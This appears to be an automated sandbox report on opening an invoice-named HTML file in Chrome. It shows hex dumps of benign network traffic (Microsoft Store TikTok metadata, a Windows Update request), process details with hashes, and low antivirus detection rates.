63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: af07{"BigIds":["9NH2GPH4JZS4"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-08T20
:11:51.3838570Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3065039426961132306","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-26 11:46:44 UTC 2016 IN Data Raw: 61 70 70 73 2e 34 39 36 34 37 2e 31 33 36 33 34 30 35 32 35 39 35 36 31 30 35 31 31 2e 38 39 61 39 30 34 
30 30 2d 62 34 39 62 2d 34 63 33 35 2d 61 37 37 37 2d 36 30 63 39 32 65 61 31 65 33 39 38 2e 30 35 36 34 65 35 61 65 
2d 65 66 36 30 2d 34 39 61 32 2d 61 33 31 36 2d 61 32 66 66 31 36 30 33 32 61 39 63 22 2c 22 57 69 64 74 68 22 3a 36 
36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 39 39 34 35 38 38 38 31 34 34 35 37 37 32 38 34 22 2c 22 45 49 53 
4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 
6e 42 79 74 65 73 22 3a 33 35 38 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
Data Ascii: apps.49647.13634052595610511.89a90400-b49b-4c35-a777-60c92ea1e398.0564e5ae-ef60-49a2-a316-
a2ff16032a9c","Width":66},{"FileId":"3049945888144577284","EISListingIdentifier":null,"BackgroundColor":"transparent",
"Caption":"","FileSizeInBytes":3588,"Foreground

2022-05-26 11:46:44 UTC 2020 IN Data Raw: 37 37 35 34 36 33 37 33 36 38 32 35 38 39 39 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 
66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 
74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 35 32 31 
2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 
65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 
22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 56 6b 6b 75 57 65 38 45 4f 64 75 46 
42 69 75 67 45 45 64 51 6c 61 75 74 36 77 53 52 64 62 34 71 44 47 
Data Ascii: 7754637368258997","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes"
:13521,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash
":"VkkuWe8EOduFBiugEEdQlaut6wSRdb4qDG

2022-05-26 11:46:44 UTC 2024 IN Data Raw: 70 69 72 65 64 20 62 79 20 61 20 67 6c 6f 62 61 6c 20 63 6f 6d 6d 75 6e 69 74 79 20 6f 66 20 63 72 65 61 74 
6f 72 73 5c 72 5c 6e 4d 69 6c 6c 69 6f 6e 73 20 6f 66 20 63 72 65 61 74 6f 72 73 20 61 72 65 20 6f 6e 20 54 69 6b 54 6f 
6b 20 73 68 6f 77 63 61 73 69 6e 67 20 74 68 65 69 72 20 69 6e 63 72 65 64 69 62 6c 65 20 73 6b 69 6c 6c 73 20 61 6e 
64 20 65 76 65 72 79 64 61 79 20 6c 69 66 65 2e 20 4c 65 74 20 79 6f 75 72 73 65 6c 66 20 62 65 20 69 6e 73 70 69 72 
65 64 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 41 64 64 20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 6d 75 73 69 63 20 6f 
72 20 73 6f 75 6e 64 20 74 6f 20 79 6f 75 72 20 76 69 64 65 6f 73 20 66 6f 72 20 66 72 65 65 5c 72 5c 6e 45 61 73 69 6c 
79 20 65 64 69 74 20 79 6f 75 72 20 76 69 64 65 6f 73 20 77 69 
Data Ascii: pired by a global community of creators\r\nMillions of creators are on TikTok showcasing their incredible skills 
and everyday life. Let yourself be inspired.\r\n\r\n Add your favorite music or sound to your videos for free\r\nEasily edit 
your videos wi

2022-05-26 11:46:44 UTC 2028 IN Data Raw: 64 20 6d 6f 72 65 2e 20 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 57 61 74 63 68 20 65 6e 64 6c 65 73 73 20 61 6d 
6f 75 6e 74 20 6f 66 20 76 69 64 65 6f 73 20 63 75 73 74 6f 6d 69 7a 65 64 20 73 70 65 63 69 66 69 63 61 6c 6c 79 20 66 
6f 72 20 79 6f 75 5c 72 5c 6e 41 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 76 69 64 65 6f 20 66 65 65 64 20 62 61 73 65 
64 20 6f 6e 20 77 68 61 74 20 79 6f 75 20 77 61 74 63 68 2c 20 6c 69 6b 65 2c 20 61 6e 64 20 73 68 61 72 65 2e 20 54 
69 6b 54 6f 6b 20 6f 66 66 65 72 73 20 79 6f 75 20 72 65 61 6c 2c 20 69 6e 74 65 72 65 73 74 69 6e 67 2c 20 61 6e 64 20 
66 75 6e 20 76 69 64 65 6f 73 20 74 68 61 74 20 77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 72 20 64 61 79 2e 5c 72 5c 6e 
20 5c 72 5c 6e e2 96 a0 20 45 78 70 6c 6f 72 65 20 76 69 64 65 
Data Ascii: d more. \r\n\r\n Watch endless amount of videos customized specifically for you\r\nA personalized video feed 
based on what you watch, like, and share. TikTok offers you real, interesting, and fun videos that will make your day.\r\n 
\r\n Explore vide

2022-05-26 11:46:44 UTC 2032 IN Data Raw: 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 
2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 
22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 
65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 
61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 
72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
Data Ascii: policy\":{\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"
optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9
,\"systemId\":3},{\"level\"

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:44 UTC 2036 IN Data Raw: 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 
22 6c 65 76 65 6c 5c 22 3a 37 30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 
64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 4
9 64 22 3a 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 39 63 34 33 66 35 
31 38 2d 65 62 64 31 2d 34 62 62 61 2d 61 35 62 38 2d 35 33 30 63 34 
Data Ascii: temId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":70,\"systemId\":15},{\"level\":67,
\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NH2GPH4JZS4","WuBundleId":"9c
43f518-ebd1-4bba-a5b8-530c4

2022-05-26 11:46:44 UTC 2040 IN Data Raw: 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 54 65 61 6d 
22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 
22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 
7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 
65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 6
6 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 
Data Ascii: sion":0,"PlatformName":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Win
dows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":214748
3647,"MinVersion":0,"PlatformName":"Windows.882

2022-05-26 11:46:44 UTC 2044 IN Data Raw: 72 61 63 6b 73 20 69 6e 20 65 76 65 72 79 20 67 65 6e 72 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 48 69 70 
20 48 6f 70 2c 20 45 64 6d 2c 20 50 6f 70 2c 20 52 6f 63 6b 2c 20 52 61 70 2c 20 61 6e 64 20 43 6f 75 6e 74 72 79 2c 20 
61 6e 64 20 74 68 65 20 6d 6f 73 74 20 76 69 72 61 6c 20 6f 72 69 67 69 6e 61 6c 20 73 6f 75 6e 64 73 2e 5c 72 5c 6e 5c 
72 5c 6e e2 96 a0 20 45 78 70 72 65 73 73 20 79 6f 75 72 73 65 6c 66 20 77 69 74 68 20 63 72 65 61 74 69 76 65 20 65 
66 66 65 63 74 73 5c 72 5c 6e 55 6e 6c 6f 63 6b 20 74 6f 6e 73 20 6f 66 20 66 69 6c 74 65 72 73 2c 20 65 66 66 65 63 74 
73 2c 20 61 6e 64 20 41 52 20 6f 62 6a 65 63 74 73 20 74 6f 20 74 61 6b 65 20 79 6f 75 72 20 76 69 64 65 6f 73 20 74 6f 
20 74 68 65 20 6e 65 78 74 20 6c 65 76 65 6c 2e 5c 72 5c 6e 5c 
Data Ascii: racks in every genre, including Hip Hop, Edm, Pop, Rock, Rap, and Country, and the most viral original sound
s.\r\n\r\n Express yourself with creative effects\r\nUnlock tons of filters, effects, and AR objects to take your videos to the 
next level.\r\n\

2022-05-26 11:46:44 UTC 2048 IN Data Raw: 6c 79 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 
63 6e 64 6e 36 30 36 34 73 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 
63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 
2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 33 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 36 79 63 63 6e 64 6e 36 30 
36 34 73 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 36 32 61 66 39 30 66 35 2d 38 63 66 61 2d 36 63 38 30 2d 63 
31 35 38 2d 30 61 64 66 62 37 36 63 33 38 34 39 2d 4e 65 75 74 72 61 6c 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 
3a 33 30 30 31 30 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 
Data Ascii: lyName":"BytedancePte.Ltd.TikTok_6yccndn6064se","MainPackageFamilyNameForDlc":null,"Pack
ageFullName":"BytedancePte.Ltd.TikTok_1.0.3.70_neutral_~_6yccndn6064se","PackageId":"62af90f5-8cfa-6c80-c158-0
adfb76c3849-Neutral","PackageRank":30010,"PlatformDepende

2022-05-26 11:46:44 UTC 2052 IN Data Raw: 6b 22 3a 33 30 30 32 31 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 
61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 
77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 
22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 2
2 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 42 79 74 65 64 61 6e 63 65 50 
74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 34 2e 30 5f 
Data Ascii: k":30021,"PlatformDependencies":[{"MaxTested":2814750970478592,"MinVersion":2814750835277824,"Plat
formName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundle
dPackages\":[\"BytedancePte.Ltd.TikTok_1.0.4.0_

2022-05-26 11:46:44 UTC 2056 IN Data Raw: 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 
47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 
72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 2
2 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 
2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 
73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 32 2c 22 52 
65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 
Data Ascii: ts":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIR
equired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011","Disp
layRank":2,"RemediationRequired":fals

2022-05-26 11:46:44 UTC 2057 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.2.4 49866 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:45 UTC 2057 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-05-26 11:46:45 UTC 2057 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: a3cffea2-656e-41d1-9f6c-c2d569994b55
MS-RequestId: 9ba7c6c8-e6cb-4ae9-b2d2-8f5e356dcb18
MS-CV: xlmVbUS8DUqhcBT+.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:44 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:45 UTC 2057 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:45 UTC 2073 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:45 UTC 2089 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

• chrome.exe

• chrome.exe

• elevation_service.exe

• ChromeRecovery.exe

Click to jump to process

Statistics

Behavior

System Behavior
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Target ID: 0

Start time: 13:45:29

Start date: 26/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation  "C:\Users\user\Desktop\Invoice_payment_confirmation_567.
html

Imagebase: 0x7ff7964c0000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Target ID: 1

Start time: 13:45:31

Start date: 26/05/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1548,14108
967426269858545,9759409369232530539,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1920 /prefetch:8

Imagebase: 0x7ff7964c0000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Analysis Process: chrome.exe PID: 1640, Parent PID: 4472

General

File Activities

Registry Activities

Analysis Process: chrome.exe PID: 916, Parent PID: 1640

General

File Activities
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Target ID: 21

Start time: 13:46:57

Start date: 26/05/2022

Path: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\85.0.4183.121\elevation_service.exe

Imagebase: 0x7ff6dd600000

File size: 1322992 bytes

MD5 hash: AFD137B53BA091ACBA569255B16DF837

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: moderate

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 22

Start time: 13:46:59

Start date: 26/05/2022

Path: C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir3536_8644126\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9
E530F96} --browser-version=85.0.4183.121 --sessionid={2b7a79f6-5644-4c8c-aac6-e0494a82c1d2} --system

Imagebase: 0xfa0000

File size: 259472 bytes

MD5 hash: 49AC3C96D270702A27B4895E4CE1F42A

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 1%, Virustotal, Browse
Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs

Reputation: moderate

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Analysis Process: elevation_service.exe PID: 3536, Parent PID: 564

General

File Activities

Registry Activities

Analysis Process: ChromeRecovery.exe PID: 1584, Parent PID: 3536

General

File Activities
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https://www.virustotal.com/gui/file/82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f/detection/f-82aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f-1653501122
https://www.metadefender.com/#!/results/file/bzIyMDUyMEw0MUVReUZaczluZE9xVnVsUlA/regular/analysis


File Path Offset Length Completion Count Source Address Symbol

⊘ No disassembly

Disassembly
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